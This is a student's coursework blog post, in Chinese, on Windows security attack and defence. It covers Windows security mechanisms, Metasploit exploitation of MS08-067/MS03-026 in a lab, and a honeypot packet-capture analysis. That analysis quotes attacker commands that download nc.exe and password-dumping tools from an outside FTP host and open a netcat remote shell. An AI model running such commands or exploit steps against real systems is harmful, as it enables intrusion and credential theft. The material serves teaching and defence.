zoukankan      html  css  js  c++  java
  • 20199124 2019-2020-2《网络攻防实践》第7周作业

    20199124 2019-2020-2 《网络攻防实践》第7周作业

    本次作业属于哪个课程 《网络攻防实践》
    这个作业要求在哪里 第七次作业 Windows操作系统安全攻防
    我在这个课程的目标是 学习Windows系统的结构漏洞以及攻防收到
    这个作业在哪个具体方面帮助我实现目标 动手利用windows漏洞实现攻击
    作业正文 见下文1、2、3、4部分
    其他参考文献

    一、实践内容


    1.Windows操作系统的基本结构


    ​ Windows从总体上分为内核模式(Kernel Model)和用户模式(User Model)。一般CPU有多个特权层,Intel的386CPU就有4个特权层,从第0层到第3层。其中第0层的特权最高,也就是可以执行任意代码,第3层特权最低,只能执行有限代码。 Windows将内核模式运行在CPU的第0层,将用户模式运行在CPU的第3层。内核模式下运行的都是核心代码,这些代码是安全的,且不会受到恶意的攻击。而运行在用户模式下的应用程序是最不安全且容易受到攻击的,所以应用程序权限是受到限制的。结构如图所示:

    Windows进程和线程管理机制:Windows将进程视作可执行程序运行时刻的容器,线程作为指令执行的具体载体。

    Windows内存管理机制:Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分,对于32位Windows系统而言,2GB〜4GB区间为系统核心内存,0GB〜2GB 区 间为用户态内存。

    Windows文件管理机制:Windows系统使用NTFS文件系统,NTFS文件系统基于ACL 访问控制列表来保证文件资源读/写的安全性。Windows 上的可执行文件釆用PE格式,主要由DoS头、PE头、分段表,以及具体的代码段、数据段等组成。

    Windows注册表管理机制:Windows注册表可通过系统自帯的regedit.exe 注册表查找编辑工具或其他第三方工具进行访问与修改,并可使用RegMon等工具监控系统的注册表读写操作。

    Windows的网络机制:Windows网络组件模块包括各种网卡硬件的设备驱动程序、NDIS 库及 miniport 驱动程序、TDI(网络协议驱动)、网络API DLL及TDI客户端、网络应用程序与服务进程。


    2.Windows操作系统的安全体系结构与机制


    2.1Windows安全体系结构

    ​ Windows操作系统基于引用监控器模型(Reference Monitor)来实现基本的对象安全模型,系统中所有体对客体的访问都通过引用监控器作为中介。Windows操作系统安全体系结构中,最为核心的是位于内核中的SRM (Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS (Local Security Authority Subsystem Service)安全服务,他们与各种登录服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。

    2.2Windows身份认证机制

    ​ Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。

    ​ Windows为每个用户和计算机设置账户 (accounts)进行管理,并为每个账户设置账户限权,限制这些账户内运行程序对系统资源对象的访问,通过将用户账户添加入特定的用户组,就可以使得该用户拥有用户组配置的全部权限,减少了限权控制的工作量。

    ​ Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中,只有LocalSystem账户权限才可以读取,但目前已有黑客找到了能从内存中dump出SAM的技术。

    ​ Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程,网络身份认证过程由LSASS服务的Netlogon 模块主导完成

    2.3Windows授权与访问控制机制

    ​ Windows系统的基本访问控制机制与对象安全模型如下图所示。

    2.4Windows安全审计机制

    ​ 系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。LSASS服务保存审计策略并补充审计细节,SRM安全引用监控器对指定的对象访问和操作事件进行审计记录,EventLog服务将事件日志写入日志文件中。


    3.远程安全攻防技术


    ​ 攻击者需要借助远程攻击技术来进入到Windows系统,Windows远程攻击技术可以分为以下几大类:远程口令猜测与破解攻击、攻击Windows网络服务,攻击Windows客户端及用户。


    3.1Windows系统的安全漏洞生命周期


    ·Windows安全漏洞发现、利用与修补过程

    在微软公司中,由MSRC 团队负责接收来自安全公司与研究人员的安全漏洞威胁报告,通过评估威胁后果、调査漏洞机制、评定漏洞等级和确定解决方案这一流程进行处置,对于需要马上修复的安全漏洞,MSRC 团队将和产品开发团队一起完成补丁程序的开发,按照微软预定策略,会在每个月笫二周的周二(称为微软补丁日)集中发布安全公告与补丁更新,而对于一些己经被利用的高危性安全漏洞,MSRC团队会在补丁发布之前在安全通报中提供变通方法来指导客户抵御攻击,同时能通过发布紧急安全补丁的方式进行漏洞修补,从而消除客户遭受攻击的安全风险。

    ·安全漏洞公开披露信息库

    业界知名的通用漏洞信息库:CVE、NVD、 Security Focus 、OSVDB等

    国内的安全漏洞信息库:国家漏洞库 CNNVD、国家信息安全漏洞共享平台CNVD、绿盟漏洞信息库、SSVDB。

    ·针对特定目标的渗透测试攻击过程

    1.漏洞扫描测试:在漏洞扫描探测工具给出目标系统的安全漏洞检査结果之后,渗透测试者就可以依据结果中提供的安全漏洞索引号,在公开的通用漏洞信息披露库中査找关于该安全漏洞的详细技术信息。

    2.査找针对发现漏洞的渗透代码:根据安全漏洞信息库中的索引信息,渗透测试者可以在安全社区的一些渗透攻击代码资源共享站点上找到针对特定安全漏洞的渗透攻击代码资源。也可以从一些安全公司和研究者个人博客上査找到渗透攻击代码。

    3.实施渗透测试:攻击者使用找到的安全漏洞的渗透代码进行攻击,但可否达成测试者的预期目标则取决于渗透代码和攻击目标的软件环境是否匹配。对于渗透代码不支持目标环境的情况,需要渗透测试者具备二进制程序调试与分析的技能,在目标环境中对渗透过程进行调试。

    4.使用Metasploit实施渗透测试:Metasploit软件的结构图如下图所示,了解Metasploit的各种命令就可以合理使用Metasploit了,可以使用help命令查看。


    3.2Windows远程口令猜测与破解攻击


    ·远程口令字猜测

    ​ 经常遭受远程口令字猜测攻击的 Windows网络服务包括SMB协议、WMI服务、TS远程桌面终端服务、MS SQL数据库服务、SharePoint等使用Windows身份认证机制的Web应用服务。

    ​ 用户使用远程服务之前,系统一般要对用户的身份进行验证,这就需要用户输入口令,而攻击者在此时就可以对系统实施远程口令字猜测攻击。攻击者要先确定登录的对象是谁,然后再进行口令猜测攻击。远程口令字猜测成功的前提条件是大量系统中设置了具备弱口令字的用户账号。

    ·远程口令字交换通信窃听与破解

    ​ Windows的不同版本在进行网络身份认证时,使用了 LanMan、NTLM和Kerberos这三种认证协议。

    ​ LanMan协议的Hash算法设计存在着缺陷,可以彩虹表攻击破解口令;NTLM协议仍被发现存在本质的安全设计缺陷;Kerberos协议实现中在预认证阶段发送了由用户口令生成密钥所加密的已知明文数据包,这使得Windows 的Kerberos认证协议也可以通过对预认证报文的窃听和彩虹表攻击来破解用户口令。

    ​ 口令破解工具:LOphtcrack、Cain and Abel 。

    ·远程口令猜测与破解防范措施

    ·安全培训与教育来让网络中每个用户都能够设置较高安全强度的口令

    ·尽量关闭不必要开放的易受远程于口令猜测攻击网络服务

    ·配置主机防火墙来限制对某些端口的服务,如TCP 135/139/445/3389/ 1433端口

    ·利用网络防火墙来限制到一些服务的访问

    ·禁用过时而且存在本质上安全缺陷的LanMan与NTLM,仅使用经过安全加固的NTLMv2与 Kerberos认证协议,应保持Windows补于的自动更新并确认NTLMv2协议中发现的安全漏洞已被修补

    ·制定和实施强口令字策略


    3.3Windows网络服务远程渗透攻击


    ·针对NetBIOS网络服务的著名漏洞及攻击

    ​ NetBIOS名字服务提供了Windows局域网内部共享主机査询的接口,从而也为攻击者进行网络査点提供了遍历;利用MS00-047安全漏洞,攻击者可以通过发送一个特意构造的名字冲突数据包,就可造成NetBIOS名字服务的崩溃,造成拒绝服务攻击;利用MS03-034安全漏洞,攻击者则可以构造特定的名字服务请求,能在响应数据包中可以获取主机内存中的数据,可以探测到内存中的敏感信息。

    ·针对SMB网络服务的著名漏洞及攻击

    SMB空会话,不使用任何用户名和口令就可以与系统默认的IPC$共享卷建立起空会话连接,或进行匿名RPC调用;SMB文件与打印共享服务中曾被发现了数十个之多的安全漏洞,大部分安全漏洞都存在着可公开或通过付费可获得的渗透攻击代码。

    ·针对MSRPC网络服务的著名漏洞及攻击

    DCOM RPC接口缓冲区溢出漏洞,攻击者通过远程攻击该漏洞就可以宜接获得系统的访问权

    LSASS 服务 DsRoIerUpgradeDownlevelServer 溢出漏洞,利用该漏洞的震荡波Sasser 蠕虫开始在互联网中爆发

    即插即用服务中的栈溢出漏洞,传播Mytob、黛蛇等网络蠕虫

    Server服务路径规范化处理不当漏洞,

    ·针对Windows系统上微软网络服务的远程渗透攻击

    ​ IIS Internet 服务:FastCGI请求头缓冲区溢出漏洞、ADFS 远程代码执行漏洞、FTP服务远程代码执行漏洞、IPP服务整数溢出漏洞、ASP 页面 HTMLEncode漏洞

    MS SQL Server:SQL解析服务缓冲区溢出漏洞

    ·针对Windows系统上第三方网络服务的远程渗透攻击

    ​ 第三方网络服务往往缺乏自动补丁更新和版本升级机制,一旦发现这些服务中存在安全漏洞,将会对服务器安全造成更严重的威胁

    ·网络服务远程渗透攻击防范措施

    ​ 1.从软件设计开发根源上尽可能减少安全漏洞的出现

    ​ 2. 系统的使用者和管理员,应尽可能快地更新与应用软件安全补丁

    ​ 3.在安全漏洞从被意外公布利利用到补丁发布的这段“零日”漏洞时间,管理员对安全敏感的服务器应该测试和实施川用的攻击缓解配置

    ​ 4.利用服务软件厂商及社区中提供的安全核对清单(Check List)来对服务进行安全配置

    ​ 5.通过漏洞扫描软件来标识网络中存在的己知安全漏洞并及时修补,启用入侵检测与防御机制来检测或抵御网络渗透攻击,并建立起一个有效的事件应急响应计划


    4.Windows本地安全攻防技术


    4.1Windows本地特权提升

    ​ 在攻击者获得Windows系统上的受限用户权限之后,他们将立即着眼于获得终极特权。Windows系统上进行特权提升的攻击途径主要是通过DLL注入和破解本地程序安全漏洞。

    ​ 攻击者可以利用Windows本地漏洞进行特权提升攻击,也可以利用MS SQL Server. WINS服务、IIS服务以及在Local System账户下运行的第三方服务中的安全漏洞,进行提权攻击。获得了 Administrator权限并不意味着获得了 Windows 系统的最高权限,Local System账户比Administrator账户的权限更高,但获得了 Administrator限权,再获得Local System限权就很容易了。

    ​ 攻击工具:Metasploit的Meterpreter攻击负载模块中集成了本地特权提升的功能

    ​ 防范措施:及时给系统打补丁。

    4.2Windows敏感信息窃取

    Windows系统口令字密文提取技术

    ​ 攻击者进行提权攻击成功以后,就可以使用高限权接触到本地系统里的一些敏感文件信息,其中便有口令字密文文件。获得这些文件有三种途径:获得物理限权后拿U盘拷贝;利用硬盘修复工具包中的rdisk工具;使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文,Mctasploit渗透测试软件中的Meterpreter攻击负载模块中也提供了 hashdump命令。

    ​ 除了本地用户登录口令密文文件,其他登录口令密文文件。

    Windows系统口令字破解技术

    使用Windows 口令破解软件L0phtCrack和John the Ripper(主要用于破解Linux系统口令字)

    用户敏感数据窃取

    ​ 本地系统中的文件,攻击者可以执行find、findstr、grep等命令行工具进行查找,也可以使用一些后门软件进行查找;攻击者也可能使用键击记录器来对用户键盘输入进行监听,以此获取一些网站、软件的登录口令。

    本地敏感信息窃取防范措施

    设一个复杂的密码很重要。由于密码复杂了人记不住,目前的生物他在识别身份机制有些两全其美。

    4.3Windows消踪灭迹

    ​ 攻击者在进行了“偷盗”行为之后,当然要找个办法抹去他“偷盗”的行踪,不让人发觉。攻击者常用的方法有:进入系统后先关闭审计功能,离开时再开启;清理事件日志。

    ​ 针对消踪灭迹的防范措施:使用阁主方法保全日志,不要把日志一直放在本地。

    4.4Windows远程控制与后门程序

    ​ 为了方便以后再次登录这台被攻击的主机,攻击者会在系统中植入远程控制和后台程序,第三方的远程控制与后台程序,主要分为命令行远程控制工具图形化远程控制工具这两大类。

    命令行远程控制工具:Netcat、psexec工具、Metasploit渗透测试软件中的Meterpreter

    图形化远程控制工具:VNC

    二、实践过程


    1.Metasploit Windows Attack


    任务:使用Windows Attackcr/BT4攻击机尝试对Windows Metasploilable靶机 上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权。


    实践过程

    ​ 此次事件选用win2K(192.168.200.124)作为靶机,kali(192.168.200.4)作为攻击机。Windows攻击机上的metasploit的没有针对MS08_067漏洞的相关模块,所以就放弃使用WinXP了。

    1.在kali上打开终端,输入msfconsole打开metasploit。

    2.输入search ms08_067我们可以在exploit库里找到相关的渗透模块。

    3.输入use exploit/windows/smb/ms08-067_nettapi,进入该模块的使用,然后我们输入show payloads ,查看有效的攻击载荷,这里我选择了一个meterpreter/reverse_tcp

    4.输入set PAYLOAD windows/meterpreter/reverse_tcp,设置有效攻击载荷。这是我们可以接着输入show options,来查看攻击数据,需要我们设置的数据如下图标记所示。

    5.接着我们设置RHOSTS和LHOST,并再次查看攻击数据。输入一下命令。

    set RHOSTS "192.168.200.124"
    set LHOST "192.168.200.4"
    

    可以看到图中的数据发生了变化。

    5.输入exploit,开始攻击。但是我使用这一漏洞进行攻击并没有成功。

    ​ 我又使用MS03_026漏洞作为攻击目标,步骤与上方一样有进行了一次攻击,这次攻击成功了,并取得了shell权限。

    ​ 输入shell即可获得shell权限。这个步骤可能会失败,多尝试几次就会成功了。我尝试使用shell权限在靶机上进行一些设置,但是这个连接不一会就断开了,我只来得及在靶机上建了个文件夹。


    2.解码一次成功的NT系统破解攻击


    任务:分析数据源只有包含整个攻击过程的二进制记录文件,从这个文件中提取并分析攻击的全部过程

    1. 攻击者使用了什么破解工具进行攻击?

    2. 攻击者如何使用这个破解工具进入并控制了系统?

    3. 当攻击者获得系统的访问权后做了什么?

    4. 我们如何防止这样的攻击?

    5. 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?


    1.攻击者使用了什么破解工具进行攻击?

    ​ 攻击者通过查点发现提供Web服务的是 IIS v4.0,便尝试Unicode攻击和针对msadcs.dll中RDS漏洞的msadc.pl/msadc2.pl 渗透攻击工具进行了攻击。

    分析

    ​ (1)查看攻击机与靶机之间来往的数据包,在117号数据包,我们发现了攻击者打开了文件boot.ini,且存在字符%C0%AF,这是字符的Unicode编码,由此可见攻击者发起得可能是是Unicode攻击。

    ​ (2) 继续进行查看,发现编号140 中含有msadc/msadcs.dll,攻击者在探测/msadc/msadcs.dll的存在。

    ​ (3)之后我们在149号数据包中发现了如图所示红框框的消息,着应该是攻击者通过msadcs.dll中存在RDS漏洞进行了SQL注入攻击,并执行了命令cmd /c echo werd >> c:fun

    我们可以看到图中ADM!ROX!YOUR!WORLD出现了很多次,我到百度上搜索了一下这次攻击应是由rain forest puppy 编写的 msadc(2).pl渗透攻击代码所发起的。

    2.攻击者如何使用这个破解工具进入并控制了系统?

    ​ 我们继续往下看,对其中的一些会话追踪TCP流,可以从中发现许多指令。

    ​ 一开始我们可以看到一个RDS攻击,是从1778-80开始的,攻击者尝试在靶机上下载文件,以FTP的方式,308号数据开始出现ftp,追踪这个TCP流之后,下载失败了,因为口令错误。

    ​ 下面这段指令是Unicode攻击,指令的意思是攻击机打开IP为213.116.251.162的主机之后,使用ftp下载文件,其中nc.exe可以建立一个远程shell通道,pdump.exepo破解口令,samdump.dll获取口令密文。这几个文件放在靶机上,攻击者可以破解口令,获得更高的限权,并使用nc.exe留一个后门,便于下次进攻。这次的下载成功了。

    SESSION:1874-80 "copy C:winntsystem32cmd.exe cmd1.exe"
    SESSION:1875-80 "cmd1.exe /c open 213.116.251.162 >ftpcom"
    SESSION:1876-80 "cmd1.exe /c echo johna2k >>ftpcom"
    SESSION:1877-80 "cmd1.exe /c echo haxedj00 >>ftpcom"
    SESSION:1879-80 "cmd1.exe /c echo get nc.exe >>ftpcom"
    SESSION:1880-80 "cmd1.exe /c echo get pdump.exe >>ftpcom"
    SESSION:1881-80 "cmd1.exe /c echo get samdump.dll >>ftpcom"
    SESSION:1882-80 "cmd1.exe /c echo quit >>ftpcom"
    SESSION:1885-80 "cmd1.exe /c ftp -s:ftpcom"
    

    ​ 之后发现攻击者进行了Unicode攻击,执行了命令cmd.exe /c nc -l -p 6969 -e cmd1.exe,攻击者使用nc连接了 6969 端口,并获得了访问权限。就这样攻击者就进入了系统。

    3.当攻击者获得系统的访问权后做了什么?

    ​ 上述攻击成功之后,攻击者获得的是IIS启动用户权限,虽然可以使用MDAC RDS以SYSTEM账号运行任意指令,但是攻击者并不满足,接下来的行动他尝试获得系统的Administer权限。

    ​ 一开始,攻击者在尝试搜集各种信息,查看用户列表啊,查看用户组啊,查看本地用户组之类的,反反复复,但是没有几个是成功的。

    ​ 然后,他开始查看msadc目录,然后使用之前下载的pdump.exe尝试破解口令,反反复复,但是也没成功。后来攻击者放弃获取口令,并且把一些破解口令的工具给删掉了。看到这里不禁开始同情他。

    4.我们如何防止这样的攻击?

    ​ 1.为这些漏洞打上补丁,
    2.禁用用不着的 RDS 等服务,
    3.防火墙封禁网络内部服务器发起的连接
    4.为 web server 在单独的文件卷上设置虚拟根目录
    5.使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能
    6.使用 IIS Lockdown 和 URLScan 等工具加强 web server

    5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

    ​ 攻击者发现了这是一台蜜罐主机。攻击者在靶机上留下了信息。


    3.Windows系统远程渗透攻击与分析


    任务:攻击方Metasploit Windows Attack,防御方:wireshark捕获攻击流, 分析出攻击哪个安全漏洞,从官方网站上下载该安全漏洞补于进行修补,给出攻防过程报告。

    攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权。

    防守方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,结合 wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击 利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。


    攻击方的操作在于灵活运用metasploit,基本操作和实践一差不多,就不重复了。这次攻击重新利用了MS08_067漏洞,并且取得了成功,之前一次的失败在于没有用对有效载荷。

    防守方主要在于分析被攻击时监听工具捕获的工具包,类似于实践2。

    ​ 观察wireshark抓取的数据包,发现一开始有很多SMB数据包。因为漏洞MS08_067是同通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicaliza函数,这个函数存在逻辑错误,会栈缓冲区溢出,攻击者借此获得远程代码执行。

    ​ 往下翻看不就就会发现TCP数据包,可以看出攻击方式通过靶机的4444端口建立连接的。靶机地址为192.168.200.124,细看攻击方IP,SMB数据包的攻击方IP为192.168.200.5,TCP数据包的攻击方IP为192.168.200.4。这是因为我在发起攻击的时候将LHOST设置为了192.168.200.4,但是我的攻击机本身的地址为192.168.190.5。

    ​ 我在靶机上输入ipconfig,在wireshrak上跟踪TCP数据流发现了这一命令。

    三、学习中遇到的问题


    问题一:在第一次使用MS08_067漏洞进行攻击时没有成功。
    解决方法:利用其他漏洞进行攻击,在第二次使用这一漏洞式改变了有效载荷,攻击成功
    问题二:在进行实践二时很多操作并不能看懂,不知道攻击者到底在干嘛
    解决方法:好好学习

    四、学习总结


    在这次的实践操作中,对于使用软件一些操作并不觉得很困难了,但是对于分析就越来越觉得自己的知识面太小了,几乎每一步都要网上查找,许多漏洞,与操作都不明白,还是要不断拓宽啊。

  • 相关阅读:
    hdu 1028 Ignatius and the Princess III (n的划分)
    CodeForces
    poj 3254 Corn Fields (状压DP入门)
    HYSBZ 1040 骑士 (基环外向树DP)
    PAT 1071 Speech Patterns (25)
    PAT 1077 Kuchiguse (20)
    PAT 1043 Is It a Binary Search Tree (25)
    PAT 1053 Path of Equal Weight (30)
    c++ 常用标准库
    常见数学问题
  • 原文地址:https://www.cnblogs.com/2499mly/p/12693994.html
Copyright © 2011-2022 走看看